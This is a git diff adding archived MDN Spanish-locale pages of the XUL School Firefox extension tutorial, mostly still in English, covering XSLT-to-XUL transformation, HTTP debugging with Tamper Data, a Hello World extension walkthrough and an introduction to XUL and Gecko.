+<p>XPath stands for XML Path Language, it uses a non-XML syntax that provides a flexible way of addressing (pointing to) different parts of an XML document.</p>
+</blockquote>
+
+<p>Taken from the <a href="/en/XPath" title="en/XPath">XPath page</a>.</p>
+
+<p>You can use XPath to quickly access specific nodes in an XML or HTML document with a simple query mechanism. XPath can also be used to extract information from web pages once they load, along with the page load interception techniques discussed previously.</p>
+
+<p>XPath is very useful for cases when you're receiving large and complex XML files, and you only need some of the data contained in them. Using XPath to parse a complete XML document is probably not a good idea performance-wise.</p>
+
+<h3 id="Using_XSLT">Using XSLT</h3>
+
+<p><a href="/en/XSLT" title="en/XSLT">XSLT</a> (eXtensible Stylesheet Language Transformations) is another tool used to manipulate XML documents and transform them into other forms of text output, such as HTML, XUL, and so on.</p>
+
+<p>We can not cover all transformations to various output formats, so we'll just look into converting an XML document to XUL.</p>
+
+<p>First you need to create an XSLT stylesheet that acts as a template. This template will transform the XML you receive (in our case, the example XML document above) and convert it into XUL. The <a class="external" href="http://www.w3schools.com/xsl/">XSLT tutorial</a> contains details for building these templates.</p>
+
+<pre class="code-xml"><span class="code-tag">&lt;?xml version=<span class="code-quote">"1.0"</span> encoding=<span class="code-quote">"utf-8"</span>?&gt;</span>
+&lt;<span class="code-keyword">xsl:stylesheet</span> version=<span class="code-quote">"1.0"</span>
+  <span class="code-keyword">xmlns:xsl</span>=<span class="code-quote">"http://www.w3.org/1999/XSL/Transform"</span>
+  <span class="code-keyword">xmlns:xul</span>=<span class="code-quote">"http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"</span>&gt;
+  <span class="code-tag">&lt;<span class="code-keyword">xsl:template</span> match=<span class="code-quote">"/data"</span>&gt;</span>
+    <span class="code-tag">&lt;xul:vbox&gt;</span>
+      <span class="code-tag">&lt;<span class="code-keyword">xsl:for-each</span> select=<span class="code-quote">"shops/name"</span>&gt;</span>
+        <span class="code-tag">&lt;xul:hbox&gt;</span>
+          <span class="code-tag">&lt;xul:label value=<span class="code-quote">"Name:"</span> /&gt;</span>
+          <span class="code-tag">&lt;xul:label&gt;</span>
+            <span class="code-tag">&lt;<span class="code-keyword">xsl:value-of</span> select=<span class="code-quote">"."</span> /&gt;</span>
+          <span class="code-tag">&lt;/xul:label&gt;</span>
+        <span class="code-tag">&lt;/xul:hbox&gt;</span>
+      <span class="code-tag">&lt;/<span class="code-keyword">xsl:for-each</span>&gt;</span>
+      <span class="code-tag">&lt;xul:hbox&gt;</span>
+        <span class="code-tag">&lt;xul:label value=<span class="code-quote">"Total:"</span> /&gt;</span>
+        <span class="code-tag">&lt;xul:label&gt;</span>
+          <span class="code-tag">&lt;<span class="code-keyword">xsl:value-of</span> select=<span class="code-quote">"total"</span> /&gt;</span>
+        <span class="code-tag">&lt;/xul:label&gt;</span>
+      <span class="code-tag">&lt;/xul:hbox&gt;</span>
+    <span class="code-tag">&lt;/xul:vbox&gt;</span>
+  <span class="code-tag">&lt;/<span class="code-keyword">xsl:template</span>&gt;</span>
+<span class="code-tag">&lt;/<span class="code-keyword">xsl:stylesheet</span>&gt;</span>
+</pre>
+
+<p>Next you need to read the XSLT stylesheet as a file stream and parse it into a document object. After that, the XSLT stylesheet can be imported into an XSLT processor as shown below. Now, the processor is ready to perform the transformation.</p>
+
+<pre class="brush: js">let domParser = Components.classes["@mozilla.org/xmlextras/domparser;1"]
+                .createInstance(Components.interfaces.nsIDOMParser);
+let fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                .createInstance(Components.interfaces.nsIFileInputStream);
+let xsltProcessor = Components.classes["@mozilla.org/document-transformer;1?type=xslt"]
+                .createInstance(Components.interfaces.nsIXSLTProcessor);
+let xslDocument;
+
+fileStream.init(someXSLFile, -1, 0x01, 0444); // read only
+
+// parse from the XSLT stylesheet file stream
+xslDocument = domParser.parseFromStream(
+    fileStream, null, fileStream.available(), "text/xml");
+
+// import the XSLT stylesheet to the XSLT processor
+xsltProcessor.importStylesheet(xslDocument);
+</pre>
+
+<p>Finally, you can either use {{ ifmethod("nsIXSLTProcessor","transformToDocument") }} or {{ ifmethod("nsIXSLTProcessor","transformToFragment") }} methods to transform the XML document. The {{ ifmethod("nsIXSLTProcessor","transformToDocument") }} method returns a DOM Document with the results of the transformation, whereas, the {{ ifmethod("nsIXSLTProcessor","transformToFragment") }} method returns a DOM DocumentFragment node. In this example code, the first child of the XUL document is appended to a XUL element after the transformation.</p>
+
+<pre class="brush: js">request.onload = function(aEvent) {
+  let responseXML = aEvent.target.responseXML;
+  let xulNode;
+
+  // transform the XML document to a XUL document
+  xulDocument = xsltProcessor.transformToDocument(responseXML);
+
+  // append the XUL node to a XUL element
+  xulNode = document.adoptNode(xulDocument.firstChild);
+  document.getElementById("foo").appendChild(xulNode);
+};
+</pre>
+
+<p>We effectively transformed the XML file into XUL and integrated it into the UI.</p>
+
+<div class="note"><strong>Note:</strong> Security should be your number one priority when handling remote content. Do not allow event handlers or any other kinds of code to be passed through your parsers. If you need your generated XUL to have JS code in it, all of it should be added locally, never from the remote source.</div>
+
+<p>Here are a couple of practical situations were you may want to use XSLT:</p>
+
+<ol>
+ <li>Convert a large XML document directly into XUL.</li>
+ <li>Filter a complex XML file and generate a simpler XML document with only the data you need, so then you can use regular DOM functions to read it.</li>
+ <li>Convert XML into SQL statements. You could use this to generate a script to run on your local database. You would of course need to be very careful about escaping characters and protecting yourself against SQL injection attacks.</li>
+ <li>Convert XML into RDF. This was more useful when RDF was the default storage format. You can still use RDF as an intermediate format, though, and then use templates to generate XUL and display the data.</li>
+</ol>
+
+<h2 id="HTTP_debugging">HTTP debugging</h2>
+
+<p>When you start debugging HTTP requests, you may find it hard to know exactly what data was sent, especially with POST data. We recommend you to use extensions like <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/966">Tamper Data</a>. They help you to track HTTP/HTTPS requests and responses occurring in Firefox.</p>
+
+<p>After installation, you can find a Tamper Data menu item in the menu bar:</p>
+
+<ul>
+ <li>Tools &gt; Tamper Data or</li>
+ <li>View &gt; Sidebar &gt; Tamper Data</li>
+</ul>
+
+<p>Once you open the Tamper Data view, all requests and responses will begin to appear in it. You can discover some interesting things about Firefox like this, such as the automatic update URLs for extensions, and the behavior of web applications such as Gmail.</p>
+
+<p>If you click on the "Start Tamper" button, for every request made you will get a popup dialog for tampering with it before it is sent. You can use it to view or even modify the data in a request, and then inspect the result. This can be a lot of work because there is a lot of web activity in a normal Firefox window, so use it sparingly.</p>
+
+<p>A tutorial on Tamper Data can be found <a class="external" href="http://www.jimbojw.com/wiki/index.php?title=Tamper_Data">here</a>.</p>
+
+<div class="note"><strong>Note:</strong> You should always test your connection code to cover edge cases, like when there is no Internet connection, or the computer is connected to a local network with no Internet access (like at an airport or hotel room). Make sure you're not telling users everything is OK, or worse, bombarding them with error messages.</div>
+
+<p>{{ PreviousNext("Escuela_XUL/Interceptando_cargas_de_página", "Escuela_XUL/Personalizar_elementos_XUL_con_XBL") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/index.html b/files/es/mozilla/tech/xul/escuela_xul/index.html
new file mode 100644
index 0000000000..94497a9507
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/index.html
@@ -0,0 +1,77 @@
+---
+title: Escuela XUL
+slug: Mozilla/Tech/XUL/Escuela_XUL
+tags:
+  - Plugins
+  - Rerencias
+  - Tutoriales
+  - XUL
+  - extensiones
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}</p>
+
+<p>{{AddonSidebar}}</p>
+
+<p>El proyecto Escuela <a href="/es/XUL" title="es/XUL">XUL</a> es un tutorial completo para la creación de extensiones, enfocándose en el desarrollo de extensiones para Firefox. Es recomendable que lo leas completamente al menos una vez. Como Firefox cambia rápidamente, el contenido en este tutorial debería ser actual y válido.</p>
+
+<dl>
+ <dt>Introducción</dt>
+ <dd>
+ <ul>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Introduction" title="es/Escuela XUL/Introducción">Introducción</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Getting_Started_with_Firefox_Extensions" title="en/XUL School/Getting Started with Firefox Extensions">Comenzando con las Extensiones de Firefox</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/The_Essentials_of_an_Extension" title="es/Escuela XUL/Elementos esenciales de una extensión">Elementos Esenciales de una Extensión</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Setting_Up_a_Development_Environment" title="es/Escuela XUL/Montando un ambiente de desarrollo">Configurando un Ambiente de Desarrollo</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/JavaScript_Object_Management" title="es/Escuela XUL/Uso de objetos en JavaScript">Uso de Objetos en JavaScript</a></li>
+ </ul>
+ </dd>
+ <dt>Funcionalidad básica</dt>
+ <dd>
+ <ul>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Adding_menus_and_submenus" title="es/Escuela XUL/Agregar menus y submenus">Agregar menus y submenus</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Adding_Toolbars_and_Toolbar_Buttons" title="es/Escuela XUL/Agregar barras de herramientas y botones para éstas">Agregar barras de herramientas y botones para éstas</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Adding_Events_and_Commands" title="es/Escuela XUL/Agregar eventos y comandos">Agregar eventos y comandos</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Adding_windows_and_dialogs" title="es/Escuela XUL/Agregar ventanas y dialogos">Agregar ventanas y dialogos</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Adding_sidebars" title="es/Escuela XUL/Agregar barras laterales">Agregar barras laterales</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/User_Notifications_and_Alerts" title="es/Escuela XUL/Notificaciones de usuario y alertas">Notificaciones de usuario y alertas</a></li>
+ </ul>
+ </dd>
+ <dt>Funcionalidad intermedia</dt>
+ <dd>
+ <ul>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Intercepting_Page_Loads" title="es/Escuela XUL/Interceptando cargas de página">Interceptando cargas de página</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Connecting_to_Remote_Content" title="es/Escuela XUL/Enlazando contenido remoto">Conexión con Contenido Remoto</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Handling_Preferences" title="es/Escuela XUL/Manejo de preferencias">Manejo de preferencias</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Local_Storage" title="es/Escuela XUL/Almacenamiento local">Almacenamiento Local</a></li>
+ </ul>
+ </dd>
+ <dt>Temas avanzados</dt>
+ <dd>
+ <ul>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/The_Box_Model" title="es/Escuela XUL/El modelo de caja">El modelo de caja</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/XPCOM_Objects" title="es/Escuela XUL/Objetos XPCOM">Objetos XPCOM</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Observer_Notifications" title="es/Escuela XUL/Notificaciones Observer">Notificaciones Observer</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Custom_XUL_Elements_with_XBL" title="es/Escuela XUL/Personalizar elementos XUL con XBL">Personalizar elementos XUL con XBL</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Mozilla_Documentation_Roadmap" title="es/Escuela XUL/Documentación de Mozilla">Documentación de Mozilla</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Useful_Mozilla_Community_Sites" title="es/Escuela XUL/Sitios útiles de la comunidad Mozilla">Sitios útiles de la comunidad Mozilla</a></li>
+ </ul>
+ </dd>
+ <dt>Apéndices</dt>
+ <dd>
+ <ul>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Appendix_A:_Add-on_Performance" title="es/Escuela XUL/Apéndice A: Rendimiento de los Add-ons">Apéndice A: Rendimiento de los Add-ons</a></li>
+  <li><a href="/es/Escuela_XUL/Apéndice_B:_Instalar_y_desinstalar_Scripts" title="en/XUL School/Appendix B: Install and Uninstall Scripts">Ap</a><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Appendix_B:_Install_and_Uninstall_Scripts" title="es/Escuela XUL/Apéndice A: Rendimiento de los Add-ons">éndice</a><a href="/es/Escuela_XUL/Apéndice_B:_Instalar_y_desinstalar_Scripts" title="es/Escuela XUL/Apéndice B: Instalar y desinstalar Scripts"> B: Instalar y desinstalar Scripts</a></li>
+  <li><a href="/es/Escuela_XUL/Apéndice_C:_Evitar_usar_eval_en_los_Add-ons" title="es/Escuela XUL/Apéndice C: Evitar usar eval en los Add-ons">Ap</a><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Appendix_C:_Avoid_using_eval_in_Add-ons" title="es/Escuela XUL/Apéndice A: Rendimiento de los Add-ons">éndice</a><a href="/es/Escuela_XUL/Apéndice_C:_Evitar_usar_eval_en_los_Add-ons" title="es/Escuela XUL/Apéndice C: Evitar usar eval en los Add-ons"> C: Evitar usar eval en los Add-ons</a></li>
+  <li><a href="/es/Escuela_XUL/Apéndice_D:_Cargar_Scripts" title="es/Escuela XUL/Apéndice D: Cargar Scripts">Ap</a><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Appendix_D:_Loading_Scripts" title="es/Escuela XUL/Apéndice A: Rendimiento de los Add-ons">éndice</a><a href="/es/Escuela_XUL/Apéndice_D:_Cargar_Scripts" title="es/Escuela XUL/Apéndice D: Cargar Scripts"> D: Cargar Scripts</a></li>
+  <li><a href="/es/Escuela_XUL/Apéndice_E:_DOM_e_inserción_HTML" title="es/Escuela XUL/Apéndice E: DOM e inserción HTML">Ap</a><a href="/es/Escuela_XUL/Apéndice_A:_Rendimiento_de_los_Add-ons" title="es/Escuela XUL/Apéndice A: Rendimiento de los Add-ons">éndice</a><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/DOM_Building_and_HTML_Insertion" title="es/Escuela XUL/Apéndice E: DOM e inserción HTML"> E: DOM e inserción HTML</a></li>
+  <li><a href="https://developer.mozilla.org/en-US/docs/XUL/School_tutorial/Appendix_F:_Monitoring_DOM_changes" title="XUL/School_tutorial/Appendix F: Monitoring DOM changes">Appendix F: Monitoreando cambios DOM</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<p>El proyecto Escuela <a href="/es/XUL" title="es/XUL">XUL</a> fue desarrollado por <a class="external" href="http://appcoast.com/" title="http://appcoast.com/">Appcoast</a> (Anteriormente Glaxstar). El proyecto es ahora publicado aquí bajo las <a href="https://developer.mozilla.org/Project:Copyrights" title="https://developer.mozilla.org/Project:Copyrights">siguientes licencias</a>. Su contenido ha sido necesariamente modificado de la fuente original.</p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/introducción_a_las_extensiones_de_firefox/index.html b/files/es/mozilla/tech/xul/escuela_xul/introducción_a_las_extensiones_de_firefox/index.html
new file mode 100644
index 0000000000..758ef60e25
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/introducción_a_las_extensiones_de_firefox/index.html
@@ -0,0 +1,128 @@
+---
+title: Introducción a las extensiones de Firefox
+slug: Mozilla/Tech/XUL/Escuela_XUL/Introducción_a_las_extensiones_de_Firefox
+translation_of: >-
+  Archive/Add-ons/Overlay_Extensions/XUL_School/Getting_Started_with_Firefox_Extensions
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Introducción", "Escuela_XUL/Elementos_esenciales_de_una_extensión") }}</p>
+
+<h2 id="What's_a_Firefox_Extension">What's a Firefox Extension?</h2>
+
+<blockquote>
+<p>Extensions add new functionality to Mozilla applications such as Firefox and Thunderbird. They can add anything from a toolbar button to a completely new feature. They allow the application to be customized to fit the personal needs of each user if they need additional features, while keeping the applications small to download.</p>
+</blockquote>
+
+<p>Taken from the <a href="/es/Extensiones" title="es/Extensiones">Extensions page</a>.</p>
+
+<p>As described in the quoted text, an extension is a small application that adds something new to one or more Mozilla applications. This tutorial focuses on extensions for Firefox, but the same (or very similar) principles apply to creating extensions for other applications such as Thunderbird, Seamonkey, and Flock.</p>
+
+<p>It is also worth noting that there are differences between the definition of <em>extension</em> and <em>add-on</em>. All extensions are add-ons, but add-ons can also be themes, plugins, or language packs. This tutorial is about extension development, but themes and language packs are developed in a very similar way. Plugins are entirely different, and they will not be covered on this tutorial. You can read more about plugins and their development in the <a href="/en/Plugins" title="en/Plugins">Plugins page</a>.</p>
+
+<p>Firefox provides a very rich and flexible architecture that allows extension developers to add advanced features, customize the user's experience, and completely replace and remove parts of the browser. The <a class="link-https" href="https://addons.mozilla.org" title="https://addons.mozilla.org/">Mozilla Add-ons</a> repository (AMO) holds an extensive number of extensions with a wide variety of functions: content filtering (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1865" title="https://addons.mozilla.org/en-US/firefox/addon/1865">AdBlock Plus</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/722" title="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a>), web application interaction (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/3615" title="https://addons.mozilla.org/en-US/firefox/addon/3615">Delicious Bookmarks</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5202" title="https://addons.mozilla.org/en-US/firefox/addon/5202">eBay Companion</a>), web development (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a>, <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1843" title="https://addons.mozilla.org/en-US/firefox/addon/1843">Firebug</a>), and child protection (<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5881" title="https://addons.mozilla.org/en-US/firefox/addon/5881">Glubble For Families</a>). These are very advanced and complex extensions, and you'll learn most of what it takes to create extensions like these (Glaxstar actually worked on 3 of those listed).</p>
+
+<p>We'll begin by looking into a very simple extension.</p>
+
+<h2 id="The_Hello_World_Extension">The Hello World Extension</h2>
+
+<p>Our sample extensions and this tutorial in general are meant for Firefox version 3 and above, but most of it works on previous versions of Firefox as well. We'll try to make it clear when we're discussing a feature that only works on some versions of Firefox.</p>
+
+<p>We'll now begin with a basic "Hello World" extension. Let's start by installing the extension. Click on the link below.</p>
+
+<p><a href="/@api/deki/files/5139/=xulschoolhello1.xpi" title="https://developer.mozilla.org/@api/deki/files/5139/=xulschoolhello1.xpi">Install Hello World</a></p>
+
+<p>This will either trigger an install or a file download, depending on the Content-type the webserver is using to serve the file. The appropriate content type to trigger an install is <strong>application/x-<strong>xpinstall</strong></strong>. In this case a file download should occur.</p>
+
+<p>If the content type is set correctly, you will probably get notified that the site is not allowed to install add-ons on Firefox. This is a security measure that prevents sites from installing extensions without user consent. This is necessary because malicious extensions can do the same level of harm as any malicious program: stealing data, erasing or replacing files, and causing unwanted behavior in general. AMO is the only pre-allowed site because all published add-ons on AMO have gone through a review process that includes security checks.</p>
+
+<p>After downloading the file, you can drag and drop it into the Firefox content area, and the installation should begin.</p>
+
+<p>You'll see a window telling you that you're about to install an extension, with some additional information such as the name of the author. You'll see a message saying that the author cannot be verified. Only extensions signed with a digital certificate can verify authorship. Signed extensions are rare, but we'll cover how to sign them later on.</p>
+
+<p>Click on the Install Now button. After the extension is installed, you'll be asked to restart Firefox. Installing, uninstalling, enabling and disabling add-ons (except plugins) require a restart to complete, and there's no easy way to work around it. This is an important point to keep in mind if you're building an extension that manipulates other extensions or themes. There's a <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=256509" title="https://bugzilla.mozilla.org/show_bug.cgi?id=256509">very old bug</a> that tracks this issue.</p>
+
+<p>Now, after restarting the browser, you'll see the Add-ons Manager window, showing the extension name, version, and a brief description.</p>
+
+<p><img alt="addonman.png" class="default internal" src="/@api/deki/files/4137/=addonman.png"></p>
+
+<p>Close the Add-ons window. Look at the main Firefox window and see if you notice anything different.</p>
+
+<p>Did you see it? There's a new menu on the main menu bar, labeled "Hello World!". If you open the menu and then the menu item below, you'll see a nice alert message (for some definitions of 'nice'). Click on the OK button to close it.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4138/=helloworldalert.png" style="height: 126px; width: 326px;"></p>
+
+<p>That's all the extension does. Now let's take a closer look at it.</p>
+
+<h2 id="Extension_Contents">Extension Contents</h2>
+
+<p>You may have noticed that the extension file you installed is named xulschoolhello1.xpi. <a href="/en/XPI" title="en/XPI">XPI</a> (pronounced "zippy") stands for Cross-Platform Installer, because the same installer file can work on all major platforms, and this is the case for most extension XPIs. XPIs are simply compressed ZIP files, but Firefox recognizes the XPI extension and triggers the installation process when an XPI link is clicked.</p>
+
+<p>To look into the XPI file you need to download it first, not install it. If the server triggers an install when clicking on a link or button, what you need to do is right click on the <a href="/@api/deki/files/4225/=xulschoolhello1.xpi" title="https://developer.mozilla.org/@api/deki/files/4225/=xulschoolhello1.xpi">install link</a>, and choose the Save Link As... option.</p>
+
+<p>Next, we'll decompress the XPI file. One way to do this is to rename the file so that it uses the <em>zip</em> extension instead of the <em>xpi</em>. Another way is to open the file using a ZIP tool. Most operating systems ship with a ZIP compression utility, and there are more advanced tools available online. Make your pick, and decompress the file in a convenient location. You should see a directory structure similar to this one:</p>
+
+<ul>
+ <li>xulschoolhello1
+  <ul>
+   <li>chrome.manifest</li>
+   <li>install.rdf</li>
+   <li>chrome
+    <ul>
+     <li>xulschoolhello.jar</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>The JAR file contains most of the code, so we'll need to extract the contents of that file as well. Just like XPIs, all you need is a ZIP utility to decompress the file. After doing that, you'll have something like this:</p>
+
+<ul>
+ <li>xulschoolhello1
+  <ul>
+   <li>chrome.manifest</li>
+   <li>install.rdf</li>
+   <li>chrome
+    <ul>
+     <li>xulschoolhello.jar</li>
+     <li>xulschoolhello
+      <ul>
+       <li>content
+        <ul>
+         <li>browserOverlay.xul</li>
+         <li>browserOverlay.js</li>
+        </ul>
+       </li>
+       <li>locale
+        <ul>
+         <li>en-US
+          <ul>
+           <li>browserOverlay.dtd</li>
+           <li>browserOverlay.properties</li>
+          </ul>
+         </li>
+        </ul>
+       </li>
+       <li>skin
+        <ul>
+         <li>browserOverlay.css</li>
+        </ul>
+       </li>
+      </ul>
+     </li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>That's a lot of files for something so simple! Well, don't worry, we'll shortly see the purpose of all of these files and realize this <em>is</em> quite simple. In the next section we'll inspect these files and see what they do.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Introducción", "Escuela_XUL/Elementos_esenciales_de_una_extensión") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/introduction/index.html b/files/es/mozilla/tech/xul/escuela_xul/introduction/index.html
new file mode 100644
index 0000000000..f6fd9f2d96
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/introduction/index.html
@@ -0,0 +1,54 @@
+---
+title: Introduction
+slug: Mozilla/Tech/XUL/Escuela_XUL/Introduction
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Introduction
+---
+<div>{{Next("XUL_School/Getting_Started_with_Firefox_Extensions")}}</div>
+
+<p>Welcome to the XUL School Tutorial!</p>
+
+<p>This tutorial is meant to be the stepping stone that will turn you into a professional Firefox extension developer in no time. We have poured years of XUL experience into it, providing many solutions for problems extension developers commonly run into.</p>
+
+<p>XUL School was created by <a href="http://appcoast.com/" title="http://appcoast.com/">Appcoast</a> (formerly Glaxstar), one of the few companies dedicated to building high-quality Firefox extensions. A team of over a dozen XUL developers conformed Glaxstar at the time this tutorial was created, and the combined experiences of years creating Firefox extensions are reflected here.</p>
+
+<p>With this tutorial you'll learn how to develop Firefox extensions. You'll learn how to quickly do the most common tasks in extension development, comparing several different approaches to solve them. In most cases we'll provide code samples that you can easily copy and adapt to your needs, as well as some working example extensions. The tutorial aims to be as brief as possible, often falling back on Mozilla documentation for more detailed information. You can think of it as a quick guide to the expansive world that is the Mozilla platform. Most links in this documentation are meant to be clicked and read.</p>
+
+<p>We'll start with a brief introduction to some key concepts, in case you're not familiar with Mozilla and Firefox.</p>
+
+<h2 id="Mozilla_and_Firefox">Mozilla and Firefox</h2>
+
+<p>The term <a href="http://en.wikipedia.org/wiki/Mozilla" title="http://en.wikipedia.org/wiki/Mozilla">Mozilla</a> can be used to refer to several concepts: the Mozilla project, the <a href="http://en.wikipedia.org/wiki/Mozilla_Foundation" title="http://en.wikipedia.org/wiki/Mozilla_Foundation">Mozilla Foundation</a>, the <a href="http://en.wikipedia.org/wiki/Mozilla_Corporation" title="http://en.wikipedia.org/wiki/Mozilla_Corporation">Mozilla Corporation</a> and the old <a href="http://en.wikipedia.org/wiki/Mozilla_Application_Suite" title="http://en.wikipedia.org/wiki/Mozilla_Application_Suite">Mozilla browser</a>. Even Firefox is sometimes referred to as "Mozilla". If you're unfamiliar with these terms, it's good that you take some time and learn a little about Mozilla. This will help you understand the culture that surrounds the Mozilla community.</p>
+
+<p>Mozilla has spawned several <a href="http://www.mozilla.org/projects/" title="http://www.mozilla.org/projects/">products and projects</a>, the most notable being the Mozilla Firefox web browser. Firefox is one of the most successful open source projects in history, combining the openness, standards-compliance and sophistication of open source with the focus on user experience and powerful outreach more commonly seen in less open companies.</p>
+
+<p>Version 1.0 of Firefox was released in November 2004, version 2.0 in October 2006, and version 3.0 in June 2008. This tutorial was written after Firefox 3 was released, and has been updated with time. While most of it should still work for creating extensions in Firefox 3 (and even Firefox 2), it is strongly recommended that you aim to support modern Firefox versions, to encourage users to stay up to date with security fixes. A release that is more than 6 months old is likely vulnerable to published security bugs.</p>
+
+<p>Firefox y otras aplicaciones Mozilla pueden ser vistas como composed of two different parts: a user interface layer that is distinct for each project, and a common platform on top of which the interface layer is built. The user interface is built with technology known as <a href="/en-US/docs/XUL" title="XUL">XUL</a>, and the platform is known as <a href="/en-US/docs/XULRunner" title="XULRunner">XULRunner</a>.</p>
+
+<h2 id="XUL">XUL</h2>
+
+<p><a href="/en-US/docs/XUL" title="XUL">XUL</a> (pronounced "zool") is one of many technologies used for creating Mozilla-based products and extensions. It is only one part of the development landscape, but given that it's practically exclusive to Mozilla, it tends to be used to identify all Mozilla-related development. You'll sometimes read terms like "XUL applications" and "XUL extensions", but rarely will they refer to projects that are exclusively built with XUL. It usually means that the projects were built using Mozilla technologies. Even this project, called XUL School, covers several other technologies such as JavaScript, CSS, XBL and XPCOM.</p>
+
+<h2 id="XULRunner">XULRunner</h2>
+
+<p><a href="/en-US/docs/XULRunner" title="XULRunner">XULRunner</a> includes the <a href="/en-US/docs/Gecko" title="Gecko">Gecko rendering engine</a>, the <a href="/en-US/docs/Necko" title="Necko">Necko networking library</a>, and several other components that provide OS-independent file management, accessibility, and localization, among others. It is this very powerful platform that has allowed such a fast growth of the development community surrounding Mozilla and Firefox.</p>
+
+<p>XULRunner is available in binary form at the <a href="/en-US/docs/XULRunner" title="XULRunner">XULRunner</a> page, and it is the base for several projects, such as Songbird, Miro and Eudora. There's a very comprehensive list of XULRunner applications in the <a href="/en-US/docs/XULRunner_Hall_of_Fame" title="XULRunner Hall of Fame">XULRunner Hall of Fame</a>.</p>
+
+<h3 id="Gecko">Gecko</h3>
+
+<p>The <a href="/en-US/docs/Gecko" title="Gecko">Gecko engine</a> is the part of Firefox used to render web pages and its own user interface. You can identify the level of compatibility of web standards in <a href="http://en.wikipedia.org/wiki/List_of_web_browsers#Gecko-based_browsers" title="http://en.wikipedia.org/wiki/List_of_web_browsers#Gecko-based_browsers">Gecko-based browsers</a> looking at their <a href="http://en.wikipedia.org/wiki/User_agent" title="http://en.wikipedia.org/wiki/User_agent">User Agent</a> string, which should include the Gecko version. Gecko versions are somewhat independent from Firefox versions, and you can see a mapping of Firefox versions and Gecko versions at the <a href="/en-US/docs/Gecko" title="Gecko">Gecko page</a>. The User Agent String for Firefox at the time of this writing (in US English, Mac OS X) is:</p>
+
+<p>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:<strong>25.0.1</strong>) Gecko/20100101 Firefox/25.0.1</p>
+
+<p>The highlighted section is the Gecko version: 25.0.1. You can read and copy the user agent string of any Firefox window, choosing "Help &gt; Troubleshooting Information" from the main menu.</p>
+
+<h2 id="On_to_the_Tutorial">On to the Tutorial</h2>
+
+<p>With the basic concepts out of the way, we can now get right into extension development. You are probably still wondering what exactly is an extension, what can it do, and how can you make them. Well, this whole tutorial is devoted to explaining that to you.</p>
+
+<p>Welcome to the world of extension development. Now let's get to it.</p>
+
